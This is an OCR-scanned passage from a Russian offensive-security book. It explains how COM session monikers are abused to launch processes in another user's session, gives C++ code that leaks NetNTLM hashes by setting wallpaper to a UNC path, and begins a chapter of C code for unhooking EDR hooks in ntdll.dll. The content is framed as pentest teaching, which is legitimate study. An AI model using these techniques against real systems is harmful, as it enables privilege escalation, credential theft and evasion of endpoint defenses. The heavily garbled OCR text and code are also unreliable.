- 6ВСF -A73BBED2A9O1 IPID: 09000481- 26C4-FFFF - 4F14-8AFFF15Cд300 - ПО: JRundown IIO: IPr!vOragDrop IPID: 60008402- 2бС4- 2бСВ - ЕВ37 - 2АВ8А1805АВВ ПО: IUnknown IPID: еее95403 - 26СА- FFF F - 5Е4С - CDS533EB601f 2664 ~ х - dllhost - WINPC\14ichat!l - GlassWir@ - WINPC\Hicha@l °" IPIO: ~ • 1 Список процессов с работающими СОМ - объектами
Часть 300 11. Системное программирование для хакеров Peпnissions не определены для конкретного AppID, то используются дефолтные. Просмотреть права можно с помощью инструмента github.com/tyranid/oleviewdotnet, Патч от ЕОР 3. Session Moniker. рис. OleViewDotNet (https:// 16.9-16.11 ). Возможности сессионных моникеров известны уже давно, но их эксплуатация не особенно популярна. Как только безопасники - Щ OleView .NП v1 .11 - Administrator - - 64Ьit File V Regist,y OЬject х о Security Processes Storage Help Procns 7192 Properties i" Desktop Undo Manager i" • CLSID_frayDesktopBand .. У CLSID_TrayDesktopBand У 0.SIDs У ActXPncy.dll 1 lf. х о Process Registered Cklsses о: Nome VТoble 228826AF-02E 1-4226·A9E(}-99A855E455A6 lmmersiveShellBroker windows.immersiveshell.serviceprovider+Ox852C8 MULTIPLEUSE STP 25DEAD04-1 EAC-4 9 1 ClSID CLSID_ TroyNotify Explore...0029198 MUL ТIPLEUSE STP 329118ОЕС-22Э<Н 768-9050-A2DCf 5171C6F CLSIO_knmersivвSp&eshScreen twinui+Ox43A880 MUL ТJPLEUSE STP ЗЕЕFЗО1 F·В596-4СОВ-ВD92-01 ЗВЕАFСЕ793 DesklOp Undo М.noge, SHELLЗ2+0x596E40 MUL ТIPLEUSE STP 561DF000-72E8-46F1-3DOA-559706Вc6578 CLSIO_ Т rayAppkjentityResolver E,q,lon,r+0029198 MULTIPLEUSE STP 1 -9EЗA·ADOMAВ560FD 682 1 590!КЗ2 1-47СА· ВЗF1 ·ЗОЕЗ6В2ЕСВВ9 CLSID _ DesktopE,q,lo.-e.НO.t expIOre rframe+Ox 1 C69ВO MULTIPLEUSE 700548F5-9393-4D17-112A6-E9069FA83185 70d548f5-9393-4d 1 7-92о6-<190Ь91"83 185 pnidui-+a,c,471CO MULTJPLEUSE ST~ а ~ ;; ~ STP 7СО2 1 С1(}-Е914-4А5З·ВDСВ·З 15СЕВFЗ2В49 CLSIO_ Т ray Т oastActivcitor Explorer+Qx329198 МUL ТJPLEU SE 8647ED52· EBEF-4C45-A864-D 1CC8465FEDE 8Ь47ed52-e8ef-4c45-o884-<1 1 cc84651- SHELL32+0x59C678 MUL ТIPLEUSE SТР 9511636Э6· 18В6-4DЗЕ-8ЕС2-<:DВ4352318ЕВ 95Ь6З696-18Ь6-4<13е-Вес2~Ь435231 ВеЬ Explorer+Ox329198 MUL TIPLEUSE STA STP 9М460W-ЗСЕ(}-458д-АЗ5+7 1 5610А075Е6 Sync lntegrction Me1nager SHELLЗ2•0x5B1458 MULTIPLEUSE 9ВАО5972-f'6А8- 11СF-А442-оод0С90А8FЗ9 Shel1Windows expk>rerframe+Ox 1C51E8 MULTIPLEUSE STP AD20F6D7·28B9-4A0 5·86ВЗ·D6AЗE149B28D CLSIO_PenWorks~eOiscover6roker NONP\tlyingSessionМaмger CJass twinui_pcshe/l-tQx4FOCF0 npsm+002B20 MULTIPLEUSE STP ВСВВ9860--С012-4АD7·А9~ЕЗЗ7АЕ6АВА5 MULTIPLEUSE sт, C2CF3 11(}-460E-4 FC 1 -В900-&.1COC9CC4BD Desktop SНELL32+0x592608 MUL ТIPLEUSE sт, MUL ТJPLEUSE sт, WaПpaper .,,~ др. Reg Ftllgs sт, C5364598-5COE-4DFA--8F07-ЗO<AD4E04E87 с5ЗЬ4598- 5с0е-4dfо ·Ы07-304оd4е04е87 pnidui+Ox47170 DE7DЗD65-5454-4EF5-951В-776739DA839f LockScreen CaU Brokвr twinui+Ox444510 MUL ТIPLEUSE sт, E6442437~F52-94DD-2CFED267EFВ9 ClSID_ Tп,yDesktop&nd Explorer+0029198 MULTIPLEUSE sт, F60ADOAO--E5E1 -45C В-В51A-E1589f882934 ffi0od0o(}-e5e 1-45сЬ-Ь510-<> 15Ь9f8Ь2934 Explorer+Qx329198 MULTIPLEUSE sт, <• ) .. Рис. 16.10. Список работающих объектов внутри процесса - Щ OleView .NП v1.11 - Administrator - - 64Ьit о х File Registry Object Security Processes Storage Help / CLSID_Tray0esktop8and .. i" CLSID_Tray0esktop8and Owne,; 6Ult.ТIN\Адммнмсtроторы Group: ВUIL ТIN\Адммнмстраторы lntegrity: N/A i" CLSIDs V ActXPrxy.dll \-' СОМ Processes у OutlineService Access 1 • lf. х о S[_ ~ ~ ~;; DACL Flogs: None ACL Entries Туре ru=: с: -~ - Account Flcgs Access N1' AIIТНORfТ"'5ELF GenericAI None N1' АUТНОIП'/'СИСТЕМА l:8c:ulo, - . - None ВUL-• ; ~ ' ' ~ SpecificAccess Nome Att.e ... ; - . Рис. 16.11. Дефолтные права на процесс
Глава 16. Как работает кража сессии через механизм СОМ 301 начали их ресерчить, то практически сразу же появился эксплойт RedTeambro/306), (bttps://t.me/ позволяющий запустить определенный объект внуrри чужой сессии, 'ПО приводило к повышению привилегий. Фикс заключался в добав­ лении проверки на уровень целостности перед обращением к объеКl)'. Если к объеКl)' в чужой сессии пытаются обратиться из процесса со средним уровнем целостности, доступ блокируется. Запуск процесса в чужой сессии Итак, предлагаю обратmъся к эксплойту IНхЕхес Research/DlxExec/tree/maio ). (bttps://gitbub.com/CICADA8- Он позволяет запустить исполняемый файл внуrри чужой сессии. Существует также реализация на С# и ищите ее на PowerShell, GitHub (bttps://gitbub.com/Leo4j/~iooExec ). о Н.кkrr У-~ ~- - Ptocuм, tc:юtt ~1, 00рьс,n, $8мсм . ,........... O<DU.s ~ Х Uиr ~ O.scription 21, 14 М8 W!МPC \ Mi c hae\ F'irefo11 fiгefo•.••• 17896 17 ,2 ~ М8 WINPC \ Mi chae \ Firefo• PID csrss.e•• .., 8' .-in\01on.e•e fontdrvhost ·••• • ctr.. .••• .еае v ■ NVIOIA Wt!b К.\~r.еае 8 conhost.e•• v ~ еар\оrег · ••• Rt kAudUServ i се64. ••• (i)~vpn-p,i.••• ..,o8S~••.••• 1 - 217&,4 • • Peгfit.Jts.on2 ·••• 1 S-,,,,,,,lnlonno- . . . . . . o.k fir•fo•.••• fi1 LOJonUI (PU ..... 1/0 tot~l г•t• Pr iv•t• Ь ... 87 , :! 3 МВ WINPC \ Mi chвel 7524 2,24 8, 11 lЯП :1<6" 8,1S 19688 76,76 k8/S 19-821 &,16 19861 NT АUТНОRIТV \ ОКТЕМА 2 ,61 МВ NT АUТноtt11У \ СМСТЕМА .... 5792 13336 МВ 1,97 М8 Font Oriver 8 1 , 11 МВ Window ]2,S7 М8 NT Нost \ UМFD-2 М.na1er \ eмt - 2 АUТНОАJТУ \ ОКТЕМА PerfW•tson2 . exe Проrр-.• •~.од• • ,Амсмrчер ()f(ОМ w-indows tocon WINPC.\user NVIDJA 6,22 МВ W1NPC \use r Х.ос т 179 , 2) МВ WlNPC \ user 2, es мв W1MPC \ us•r 21776 2, 16 МВ WINPC \user НО Audio Un;versal S.rvice Mi crosoft EdJ• МВ WIIIIPC \user 2 ,87 МВ WINP<\user Microsoft td1e O -s.d1•-• •• 11176 ЗS,18 МВ WINPC \user Mi crosoft Еdк• ased&• · ··· 23492 18,4S WINPC \user M iaoюft [dge Cl'UUAgt:USS ,:. ~ • MD. 6 31 818 S@rvice Проеодн11к Rea\tek 48,22 ,.,.. С1'~а lnterfкe Нost ко..соnм 2)168 : -\с-- Uиr - c~ Нost p-6crtero ~Ь К.lper сжм• 23184 МВ кn.... r смете.у Windows User80de Font Oriwer ЗS,69 М8 16888 ..c.nonм~• Процесс O •s.d1•.e•• - х ~р •~~••- • WIIIPC.\wиr , ~m,,no,y:11ДG8(3S.)IS) -m,s:216 Рис. 16.12. Пример использования зксплойта
Часть 302 11. Системное программирование для хакеров Оба варианта злоупотребляют сессионными моникерами для исполнения кода. Если у нас есть права локального администратора (или привилегия SeDebug), то таким образом удается выполнить код в сессиях другого пользователя. Однако на старых системах, которые не обновлялись с 2017 года, такой трюк пройдет и от ли­ ца низкопривилегированного пользователя. Подробный анализ работы эксплойта есть на Medium: https://cicada-8.medium.com/process-injection-is-dead-long-liveihxhelppaneserver-af8f20431 b5d. Если вкратце, то идет использование двух недокументированных СОМ-интер­ фейсов, к которым обращаются и при инстанцировании сессионных моникеров: IStandardActivator (https://github.com/CICADA8-Research/lНxExec/bloЬ/main/ Code/lНxExec/lНxExec/lНxExec.cpp#L94) и ISpecialSystemProperties (https:// github.com/CICADA8-Research/lНxExec/ЫoЬ/main/Code/lHxExec/lНxExec/IНx Exec.cpp#L104). ный метод Первый нужен для активации объектов, а у второго есть интерес­ setSessionid () (https://github.com/CICADA8-Research/lНxExec/ЫoЫ main/Code/lНxExec/lНxExec/lНxExec.cpp#Ll l2) для установки целевой сессии, внутри которой требуется запустить СОМ-объект (рис. 16.12). Видим, что эксплойт успешно инстанцирует необходимый СОМ-объект, и мы по­ лучаем возможность запуска произвольного файла внутри чужой сессии. Утечка хеша пароля при смене обоев Другой эксплойт также основан на злоупотреблении сессионными моникерами, но теперь инстанцируемый СОМ-объект позволяет не запустить процесс, а сме­ нить обои. Казалось бы, где тут уязвимость? Но стоит вспомнить статью Элада Шамира (https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html), в которой NetNТLM-xeш компьютера извлекали через функцию изменения обоев. Я подумал: а что, если инстанцировать интерактивный СОМ-объект внутри чужой сессии, за­ тем вызвать метод смены обоев и указать UNC Path для получения NetNТLM-xeшa? Идея долго не давала мне спать, и однажды, когда в блоге decoder.cloud/2024/08/02/the-fake-potato/) лось обнаружить подобный СОМ-объект (рис. v 16.13 ). cLSIDs 1 Filler: j C2CFЗ 110-460E-4FC1-B9D0-8A 1COC9CC4BD 8 ·4\j c2cf3110-460e-4fc1-b9d0-Ba1c0c9cc4bd - Desktop Wallpaper !· ..-<> IClassFactory IDesktopWallpaper 1 !....-<, IDesktopWallpaperPrivate '.... - I~larshal 1 1 ·-<> IPers~s t i.... --o, IPersistStream 1.... ,о.(1 IUnknown .... Factory Interfaces "°" Рис. 16.13. decoder.cloud (https:// вышла одна подсказка, у меня получи­ Обнаруженный объект
Глава 16. Как работает кража сессии через механизм СОМ 303 объекта был интерфейс IDesktopWallpaper (https://learn.microsoft.com/en-us/ windows/win32/api/shobjidl_core/nn-shobjidl_core-idesktopwallpaper) с подходя­ У щим по логике методом SetWallpaper 11 (https:/Лearn.microsoft.com/ru-ru/windows/ win32/a pi/shobj idl _ core/nf-sho bj idl _ core-idesktopwall ра per-setwall paper). HRESULT SetWallpaper( [in] LPCWSTR rnonitorID, [in] LPCWSTR wallpaper ); Первым аргументом следует передавать идентификатор монитора, на который устанавливаются обои, вторым - путь к обоям. Собственно, указание UNC Path во втором аргументе приведет к утечке NetNТLM-xeшa. Однако откуда получить идентификатор монитора? Сам MSDN нам любезно GetMoni torDevicePathAt 11 подсказывает, что можно воспользоваться методом (https:/Лearn.microsoft.com/ru-ru/windows/desktop/api/ shobj idl _ core/nf-sho bj idl_core-idesktopwallpa per-getmonitordevicepathat ), этот метод, в свою очередь, требует для вызова параметр rnonitorindex, который можно (https://learn.microsoft.com/ru-ru/ GetMoni torDevicePathCount 1) через получить windows/desktop/api/shobj idl _ core/nf-sho Ьjidl_core-idesktopwallpapergetmonitordevicepathcount). Так выстраивается цепочка-киллчейн: □ GetMonitorDevicePathC01JПt([out] int а); □ GetMonitorDevicePathAt ( [in] а, [out] index): □ SetWallpaper 1[in] index, [ш] UNCPath). При этом для утечки NetNТLM-xeшa нужного пользователя следует инстанциро­ вать СОМ-класс по управлению обоями внутри чужой сессии. Это делается с по­ мощью функции CoCreateinstancelnSession (). HRESULT CoCreateinstancelnSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) { BIND_OPTSЗ Ьо = { }; WCНAR wszCLSID[S0]; WCНAR wszMonikerNarne[З00]; StringFrornGUID2(rclsid, wszCLSID, countof(wszCLSID)); StringCchPrintf(wszMonikerNarne, countof(wszMon1kerNarne), L"session:%d 1 new:ss", session, wszCLSID); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX LOCAL SERVER; return CoGetObject(wszMonikerNarne, &Ьо, riid, ppv); IDesktopWallpaper* pDesktopWallpaper = nullptr; hr = CoCreateinstanceinSession(sess1on, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);
Часть 304 11. Системное программирование дпя хакеров if (FAILED(hr)) std::wcerr << L"CoCreatelnstancelnSession failed with error: "<< hr << std::endl; CoOninitialize(); return 1; После успешного инстанцирования (рис. OINТ hr можно обращаться к методам СОМ-класса 16.14). monitorCount; = pDesktopWallpaper->GetМonitorDevicePathCount(ыnonitorCount); if (FAILED(hr)) 1 std: :wсеп « L"GetМonitorDevicePathCount failed with error: " « hr « std: :endl; pDesktopWallpaper->Release(); CoOninitialize(); return 1; for (UINТ LPWSТR i = О; i < пюnitorCount; i++) 1 monitorld; hr = pDesktopWallpaper->GetМonitorDevicePathAt(i, &monitorld); if (FAILED(hr)) 1 std::wcerr << L"GetМonitorDevicePathAt failed with error: "<< hr << std::endl; continue; hr = pDesktopWallpaper->SetWallpaper(пюnitorid, imagePath); std::wcout << L"[+] Check Responder" << std::endl; CoTaskМemFree(пюnitorld); Рис. 16.14. Успешная утечка хеша Таким образом, если получается провернуть утечку хеша, то можно пойти дальше и применить Rе\ау-атаку. О них журнал «Хакер)) уже писал в статье «Гид по Relay)) (часть 1: https://xakep.ru/2023/04/07/ntlm-relay-guide/, xakep.ru/2023/04/1 l/ntlm-relay-guide-2/). часть NTLM 2: https:// Заключение Вновь плохо документированные возможности Windows позволяют атакующим проводить интересные и красивые атаки. Самое сложное- найти ту иголку в стоге сена, которая позволит раскрутить всё до полноценного эксплойта!
ЧАСТЬ 111 Способы обхода средств защиты инсрормации Глава 17. Познаем анхукинг Глава 18. Изучаем методы предотвращения подгрузки Глава 19. Ищем в Глава 20. Используем хардверные брейк-пойнты в пентестерских целях Глава 21. Изу4аем новый способ обхода Глава 22. Замена для Глава 23. Обфусцируем вызовы Windows ntdll.dll DLL лазейки для исполнения стороннего кода WinAPI. AMSI в Windows Пишем раннер для шелл-кода на чистом WinAPI новыми способами .NET

ГЛАВА 17 Познаем анхукинг Средства защиты, в частности инструкция, EDR, позволяет которая ntdll .dll любят ставить хуки. Хук перехватить поток - управления это специальная программы при вызове определенной функции и в результате контролировать, отслеживать и из­ менять данные, переданные этой функции. В этой главе я покажу, как проводить обратный процесс анхукинг. - Подробнее про хуки вы можете узнать из статей «Волшебные хуки. Как перехваты­ вать управление любой программой через WinAPI» (https://xakep.ru/2018/01/26/ winapi-hooks/)» и «Мелкомягкие хуки: Microsoft Detours - честное средство для настоящего хакера» (https://xakep.ru/2011/07 /11/55795/)». Анхукинг позволяет снять хук, который был установлен средством защиты. Опре­ делить наличие хука несложно. Наглядный пример того, как он может выглядеть, показан на рис. 17 .1. EDR поставил хук на NtAllocateVirtualMemory 11. Эта функция будет последней User Mode, она вызывается лишь для инициализации системного вызова и выде­ Здесь в ления памяти путем обращения к ядру. В стоковой конфигурации, когда хука нет, никаких безусловных jmр-переходов быть не должно. Тут мы видим иную ситуа­ цию: переход как раз таки есть, поток управления отдается непонятно кому и непо­ нятно куда. Поэтому нам, как атакующим, да и просто чтобы уклониться от обна­ ружения, нужна операция анхукинга, которая снимет этот хук, и, как следствие, средство защиты потеряет контроль над потоком выполнения программы. Отмечу лишь, что подобный способ обхода хуков например, совершать Direct- - один из множества. Можно, и Indirect-cиcкoлы, но стоит помнить, что получится User Mode. Если средство защиты применяет SSDT Hooking), то подобные методы окажутся беспо­ обойти только хуки, которые стоят в хуки Kemel Mode (например, лезны. На будущее: SSDT - это специальная таблица, благодаря которой сопос­ тавляются сискол и действие ядра Windows. Есть, конечно, Kernel Patcl1 Protection, который мешает устанавливать подобные хуки, но это уже совсем другая история. В главе я рассмотрю наиболее популярные способы снятия хуков, от простого к сложному.
Часть 308 1/1. Способы обхода q,едств защиты информации t:eea>J х ntdUINtAlloc•t"virtua~ ~~~~~1i~locatt!Vinшllм-ory (NtAllocat:t!Virt\lalм-ory) t.eea>~:eeoez.!!! ~4d3~- EDRUsennodeНoolt ntdll lNtAl ativirtua1"1!8C>ry : 88887fl'8" 16c4d3Ь8 4с8Ьd1 18, rcx 88887ff8' 16с4d3ЬЗ " 788 ntdll lQuerytlqi.stryVal..-4c.3 ( 88887ff8"16сса7с7) eeee7ff8 " 16c4d3Ь8 f6842588e3fe7fe1 test Ьуtе ptr [Sha.redUserOau+ex388 (eeeeeeee"7ff.e388)],1 88887ff8"16c4d3c8 7583 j n• ntdll l NtAllocatt!Virt~+exi5 ( 88887ff8" 16c4d3c5) 88887ff8' 16c4d3c2 efe5 s yscall 88887ff8" 16c4d3c4 с3 ~t eeee7fl'8. 16c4d3c5 cdlt! int 2Eh 88887ffa· 16c4d3c7 сЗ ~t The figuR shows lha! lhe installed EDR uses inline hooking to hoolt lhe Nalive АР1 NIAlocaМnualМem 8: 888> ntdll lNtAlloca,t•Virtua~ 88887ffe • 86a4d3bll ntdll 1 NtAllocateVirtш1"1!8C>ry (NtAUocateVirtualН88:>ry) е: 888> (u ,eet87ffJ:. (&i:Qзiif ntdll l NtдllocateVtrt:uaJ.Нмory : ~ №EDRНoolt ) 88887ffe • 8684d3Ь& ~~~i ~ г~~ • eeee7fft!' 8k4d3b3laeeeee8 . ; : : : ш)~! eee&7ffe " 86a4d3Ы f6&42588&3fe7fe1 test byt:ep r (Shar edUserOat~x388 ( eeeeeee&" 7ffe&388 ) ], ееее1н., • 86a4d3c& 7583 j ne ntdl l l NtAllocatevirtuaU...Ory+exts ( 88887ff., • 86a4d3c5) eeee7ffe" 86a4d3c2 efe5 syscall 88887ffe"86a4d3c4 сЗ l'ltt: eeee7fft! • 86a4d3cS cd:2e i nt 2Eh eee&7ffe"86a4d3c7 сЗ The figure shows а dean not hooked Nalive АР1 Рмс. 17.1. Пример хука Снятие хука через чтение библиотеки с диска Этот метод можно считать одним из самых простых. Он основан на том, что биб­ лиотека ntdll. dll подгружается в память так же, как находится на диске. Причем хуки установлены непосредственно в памяти, на диске образ девственно чист. Поэтому мы должны будем лишь считать библиотеку с диска, достать из нее РЕ-секцию . text (в ней находится код), а после перезаписать секцию библиотеки секцией, считанной с диска (рис . . text хукнутой 17 .2). Мы будем использовать функции ReadFile () и MapViewOfFile (), и EDR может отслежи­ вать их, поэтому есть риск, что наша ntdll.dll, загруженная с диска, будет изменена Рмс. 17.2. Алгоритм снятия хука
Глава 17. Познаем анхукинг 309 ntdll.d/1 при попытке подгрузить ее содержимое в программу. Поэтому придется исполь­ зовать иной способ снятия хука, например тащить ntdll. dll с некоего удаленного сервера. Этот алгоритм реализуем позже. За идею большое спасибо Ральфу (https://bhv.ru/product/active-directory-glazami-hakera/). Итак, сначала нужно считать содержимое библиотеки ntdll. dll. Начнем со стан­ дартной функции ReadFile (). По умолчанию ntdll. dll лежит в системной папке \Windows\System32. Предлагаю создать функцию, которая будет возвращать буфер с содержимым ntdll. dll. Jtdefine NTDLL "NTDLL.D11" В001 ReadNtdJlFromDisk (OUT PVOID* ppNtdllBuf) СНАR cWinPath[МAX_PATH / 2] = СНАR cNtdllPath[МAX_PATH] О ); О); hFile = NULL; DWORD dwNumЬerOfBytesRead = NULL, dwFileLen = NULL; PVOID pNtdllBuffer = NULL; НANDLE if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О) { printf("[ !] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError()); goto EndOfFunc; sprintf s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL); hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SНARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORМAL, if (hFile == INVALID_НANDLE_VALUE) { printf (" [ ! ] CreateFileA Failed With Error goto EndOfFunc; NULL); %d \n", GetLastError ()); dwFileLen = GetFileSize(hFile, NULL); pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen); if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumЬerOfBytesRead, NULL) 11 dwFileLen != dwNumЬerOfBytesRead) printf("[ !] ReadFile Failed With Error : %d \n", GetLastError() ); printf("[i] Read %d of %d Bytes \n", dwNumЬerOfBytesRead, dwFileLen); goto EndOfFunc; *ppNtdllBuf = pNtdllBuffer; EndOfFunc: if (hFile) CloseHandle(hFile);
Часть 310 if (*ppNtdllBuf return FALSE; else return TRUE; == 111. Способы обхода средств защиты информации NULL) Остается проверить, что наш код верно работает. Если вы пишете в то открывайте пункт «Отладка - Visual Studio, Параметры» и ставьте две галочки, чтобы мож­ но было видеть содержимое памяти (рис. 17.3). р] i Параме:тры пои ска (CТRL+E} ,. ~ Систем~ уnраапен:ке1 аерскями А От/\ОДIС• ij'вi7rючи,ь ОТАад!\У на уровне адреи По,пывать А11»сеем6лироеанныА КОА. =и ИО<одны>\ код недостуn, 12] 81С11оочить фllllьтры т~• осrаноаа ГорячаА nервоrру,ко .NЕТ / С+< I Ч Горячая nерваrру,ко 0 XAML Исnоль.юеа,ь ноеое acnoмorareJ1ьнoe прИJЮжение по о6ра6оке ИCIC/ltc G2) 81С111ОЧИТЬ ТОJ\ЬКО МОИ l<OA Окно1ы1ода 0 ВЫ80А11ТЬ nредуnреJЦеиие, =11 ПОJ\ЫIО88ТеJIЬСКИА КОД ОТ()'ТСТ8)'е1' ni О Оn<,ючать JIТ-оmмм..,.цию при "''РУ'ке модуля (только уnраепяемый О Эаnрет11ть исnо.,,~,,оt,1н>W1 :@pai;ee ОФмnипироеанных обраэое nри ,ar1 О Ра,реwкть w1rи а ж:жодном ко;~е .NЕТ framework 0 Обхо4 ceoi'lcтe и операторое (tOJ\Ы<.O уnраемемыА коА) 0 Вкпючкть еычиСАеиие сеойсте и друn;е неяеные еы,оаы фунщиА 0 Выю, фу>t.ции string-con\Ц!rsion дм объ«tое а окнах переменных Символы ~ Средств• nроМ3■ одмтvtьностм ~ СМаkе ~ л О Прерыеать аыnоАнение, коrда исlС/lючения nepeceкal01 rраницу домена ~ JIT ~ - Общие 01аnраw1111<1Ть nо,IIТеерждение перед удалением асех tQ\le( останова 0 Прерывать асе процессы при nрерыаани11 o;iнoro ~ Тексто11ы.М р,wктор ~ х ? П•р•метры F#Tools lntelliCode Live Sh4re ~ Адаmер теста A/U1 Goog~ Test ~ д,..rнопик• rрафики < > . . < 1Вt/О~ИJ.ь no~D'!P<Y сео~системы vnоамения аереиями ок 1 > 11 " Отмен• 1 .:! Рис. 17.3. Включение показа содержимого памяти После чего переходите по пути «Отлад ка - Окна - Память» и сможете увидеть содержимое памяти текущего отлаживаемого процесса (рис. Остается лишь убедиться, что по адресу, который 17.4). занесется ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll - в переменную РЕ-файл, то пер­ вые байты должны быть равны МZ. Это так называемая сигнатура, благодаря кото­ рой можно убедиться, что мы получили правильный адрес (рис. 17.5). Выходит, наша иной API - ntdll.dll успешно прочитана с диска. Можно также использовать и CreateFileMapping () и MapViewOfFile (). Эти функции служат для отображе­ ния файла в память. Разработчики часто применяют этот механизм, чтобы не пи­ сать каждый раз информацию на диск, теряя в производительности программы, а вместо этого записывать данные непосредственно в память и лишь потом, после нескольких записей подряд, сохранять их на диск. Функция для получения содер­ жимого ntdll. dll будет немногим отличаться от предыдущей. #define NTDLL "NTDLL.DLL" BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) ( НANDLE hFile = NULL, hSection = NULL;
Глава 17. Познаем анхукинг ntd/1.dll 311 s 10:: :i; "' с: о:: s :,: ф ,Е "' \D Q. ~ "'3 о "'о ф s :,: ф -:r Q ~ a::i ~ ........: c,j s о.
312 Часть 111. Способы обхода средств защиты информации ...s а: ::Е (U с:: 1D е о ::Е ~ а. ф 8 а. ь ::Е u о а. i::::: 1О ,-.: c.i s D.
Глава 17. СНАR Познаем анхукинг 313 ntd/1.dll cWinPath[МAX_PAТH СНАR / 2] = = { pNtdllBuffer = NULL; cNtdllPath[МAX_PATH] РВУТЕ О О ); ); if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О) printf("[!] GetWindowsDirectoryA Failed With Error %d \n", GetLastError()); goto _EndOfFunc; sprintf s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL); hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SНARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORМAL, if (hFile == INVALID_НANDLE_VALUE) { printf("[!] CreateFileA Failed With Error goto _EndOfFunc; NULL); %d \n", GetLastError() ); hSection = CreateFileMappingA(hFile, NULL, PAGE READONLY if (hSection == NULL) { printf("[ !] CreateFileMappingA Failed With Error goto _EndOfFunc; NULL, NULL, NULL); SEC_IМAGE_NO_EXECUTE, %d \n", GetLastError()); pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL); if (pNtdllBuffer == NULL) ( printf("[ 1 ] MapViewOfFile Failed With Error : %d \n", GetLastError()); goto _EndOfFunc; *ppNtdllBuf = pNtdllBuffer; EndOfFunc: if (hFile) CloseHandle(hFile); i f ''3ection) Handle (hSection); if (*ppNtdllBuf == NULL) returп FALSE; else return TRUE; , ·, •0 Возможно, этот метод будет даже чуть более тихим, т. к. при таком маппинге не срабатывает колбэк PsSetLoadimageNotifyRoutine (https://learn.microsoft.com/en-us/ windows-hardware/d rivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine), кото­ рый может быть установлен антивирусным ПО. По крайней мере, так написано на
Часть 314 Рис . 17.6. Колбэк 111. Способы обхода средств защиты информации может быть установлен антивирусным ПО (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbasecreatefilemappinga, рис . 17 .6). MSDN Следующий шаг - получить адрес хукнутой ntdll. ctll . Она уже находится в адрес­ ном пространстве нашего процесса. Предлагаю получить ее адрес из РЕВ. РЕВ - специальная структура данных, которая содержит информацию о текущем про­ цессе. typedef struct РЕВ ВУТЕ ВУТЕ ВУТЕ PVOID РРЕВ LDR DATA PRTL USER PROCESS PVOID PVOID PVOID ULONG PVOID ULONG ULONG PVOID PARAМETERS Rese rvedl (2]; BeingDebugged; Reserved2(1]; Reserved3(2]; Ldr ; ProcessPararnet ers; Reserved4[3] ; Atl ThunkSListPtr; P.eserved5 ; Reservedб; Reserved7; Rese rved8; AtlThunkS ListPtr32; Reserved9 [ 45] ; Reservedl О [96] ; ВУТЕ PPS POST PROCESS IN IT ROUTINE PostProcessinitRouti ne ; Reservedll[l28]; ВУТЕ Reservedl2[1]; PVOID Sessionid; ULONG РЕВ , *Р РЕЕ; Внутри этой структуры есть элемент Ldr, представляющий собой другую структуру, РЕВ LDR DАТА. typedef struct _PEБ_LDR _ DATA Reservedl [8] ; ВУ Т Е
Глава 17. Познаем анхукинг ntdl/.dll 315 PVOID Reserved2[3]; LIST_ENTRY InМemoryOrderModuleList; PEB_LDR_DATA, *PPEB_LDR_DATA; Внутри PEB_LDR_DATA Называется она ыsт еще одна структура (это предпоследняя матрешка, честно). ENTRY. typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; 1rsт _ENTRY можно считать этаким двусвязным списком. Через элемент получить доступ к следующему элементу двусвязного списка, а Flink через можно элемент Вlink- к предьщущему. Каждый элемент этого двусвязного списка представлен структурой LDR_ТАВLЕ_ENTRY, которая содержит информацию о каждой DLL-библио­ теке, загруженной в процесс. typedef struct _LDR_DATA_TAВLE_ENTRY PVOID Reservedl[2]; LIST_ENTRY InМemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID ReservedЗ; UNICODE_STRING FullDllName; ВУТЕ Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reservedб; ); ULONG TimeDateStamp; LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TAВLE_ENTRY; Больше всего нас интересуют элементы DllBase и FullDllName, у которых внутри базо­ вый адрес загрузки библиотеки и ее имя соответственно. Поэтому предлагаю про­ бежаться по этому списку, обнаружить элемент, у которого FullDllName равно с: \Windows\ \System32\ntdll .dll, и вычленить его #include <winternl.h> #include <algorithm> #include <string> PVOID FetchLocalNtdllBaseAddress() // Достаем ТЕВ (это как РЕВ, только для потока) РТЕВ teb = static_cast<PTEB>(NtCurrentTeb()); DllBase (рис. 17.7).
316 Часть 111. Способы обхода средств защиты информации s "' ~ s с:: 1О s 1О >S о !;, :z: "'>, >< ~ Q) а. <t ro (1) s :z: (1) ~ с:: о i::: Q) о :z: 3 (1) i::: u >,..: ,..: .... u s о.
